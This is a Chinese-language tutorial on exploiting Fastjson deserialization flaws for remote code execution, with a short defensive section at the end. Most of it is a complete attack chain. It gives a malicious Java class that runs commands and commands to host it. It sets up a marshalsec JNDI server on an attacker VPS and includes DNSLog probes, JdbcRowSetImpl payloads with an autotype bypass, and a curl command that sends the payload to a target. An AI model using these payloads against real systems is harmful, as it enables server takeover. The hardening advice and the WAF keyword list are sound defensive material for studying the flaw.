Fastjson 反序列化漏洞利用教学文档
1. 漏洞概述
Fastjson是阿里巴巴开源的一个高性能JSON处理库(Java语言)。该库在历史上存在多个反序列化远程代码执行(RCE)漏洞。攻击者通过精心构造恶意的JSON请求,可以诱使服务端在反序列化过程中加载并执行任意Java代码,从而完全控制服务器。
核心漏洞原理:Fastjson在反序列化时,其autotype等特性允许指定任意类名,并自动调用该类的setter方法、构造函数或特定getter方法。通过利用JNDI(Java Naming and Directory Interface)注入等技术,可以加载远程恶意类文件,最终实现RCE。
2. 关键漏洞点与利用条件
- 目标环境:使用存在漏洞版本的Fastjson(例如 <= 1.2.24, <= 1.2.47 等经典版本)的Java Web应用。
- 触发点:任何接收JSON数据并调用
JSON.parse()或JSON.parseObject()方法进行解析的接口。 - 出网条件:目标服务器需要能够访问由攻击者控制的远程LDAP/RMI服务(即能出网),以下载恶意class文件。
3. 利用步骤详解
步骤一:环境准备 (攻击者侧)
-
编译恶意Java类:
创建一个Java类,静态代码块或构造函数中包含要执行的命令。// EvilObject.java import java.lang.Runtime; import java.lang.Process; public class EvilObject { public EvilObject(){ try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/success"}; // 示例命令:创建一个文件 Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } }使用
javac EvilObject.java编译,生成EvilObject.class文件。 -
搭建恶意HTTP服务:
将生成的EvilObject.class文件放在一个目录下,并在该目录启动一个HTTP服务,确保class文件可通过URL访问(如http://your-vps-ip:8000/EvilObject.class)。python3 -m http.server 8000 -
搭建恶意JNDI服务:
使用开源工具(如marshalsec)启动一个恶意的RMI或LDAP服务,该服务会指向你的HTTP服务。java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://your-vps-ip:8000/#EvilObject" 1099
步骤二:漏洞探测与验证
向可疑的API端点发送精心构造的JSON数据包,根据响应判断是否存在漏洞。
-
DNSLog探测(无害):
使用java.net.InetAddress类触发DNS查询,验证漏洞存在且目标可出网。{ "@type": "java.net.Inet4Address", "val": "your-dnslog-domain.dnslog.cn" }或者使用
java.net.InetAddress:{ "@type": "java.net.InetAddress", "val": "your-dnslog-domain.dnslog.cn" }观察你的DNSLog平台是否有解析记录。
-
报错回显探测:
如果应用开启报错回显,可以发送无效的或触发异常的内容,通过报错信息判断是否使用Fastjson。{"x": "a"典型的Fastjson报错会包含
com.alibaba.fastjson.JSONException等字样。
步骤三:构造利用Payload
确认漏洞存在后,构造最终的RCE Payload。Payload的核心是利用Fastjson的autotype机制,通过JNDI注入加载远程恶意类。
经典Payload (Fastjson <= 1.2.24):
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://your-vps-ip:1099/EvilObject",
"autoCommit": true
}
高版本绕过Payload (例如 Fastjson <= 1.2.47):
高版本限制了autotype。可以利用其缓存机制进行绕过。
{
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://your-vps-ip:1389/EvilObject",
"autoCommit": true
}
步骤四:发送Payload并执行
使用curl、Burp Suite等工具,向目标URL发送POST请求,Content-Type为application/json,Body为上述构造的JSON Payload。
示例curl命令:
curl -X POST \
-H "Content-Type: application/json" \
-d '{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://your-vps-ip:1099/EvilObject","autoCommit":true}' \
"http://target-url.com/api/endpoint"
4. 漏洞修复与防御建议
- 升级Fastjson:立即升级到最新安全版本(目前最新安全版本 > 1.2.83)。
- 关闭autotype:在启动参数或代码中设置
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);。 - 使用安全白名单:如果必须使用autotype,应配置
addAccept()方法设置严格的白名单。 - 网络层面:在网络边界限制服务器不必要的出网访问。
- WAF防护:部署WAF设备或规则,对请求中的
@type、JdbcRowSetImpl、rmi://、ldap://等关键词进行过滤。
5. 补充说明
- 不出网利用:如果目标服务器无法出网,利用难度极大。可能需要寻找存在危险代码或构造链的本地类(如
TemplatesImpl)进行利用,构造过程更为复杂。 - 工具化:此漏洞已有成熟的工具化利用方案,例如
fastjson_tool.jar、JNDI-Injection-Exploit等,可以自动化完成漏洞探测和利用。
免责声明:本文档仅用于安全研究与教学目的,旨在帮助用户了解漏洞原理并采取有效防护措施。请勿将其用于任何非法或未授权的测试活动。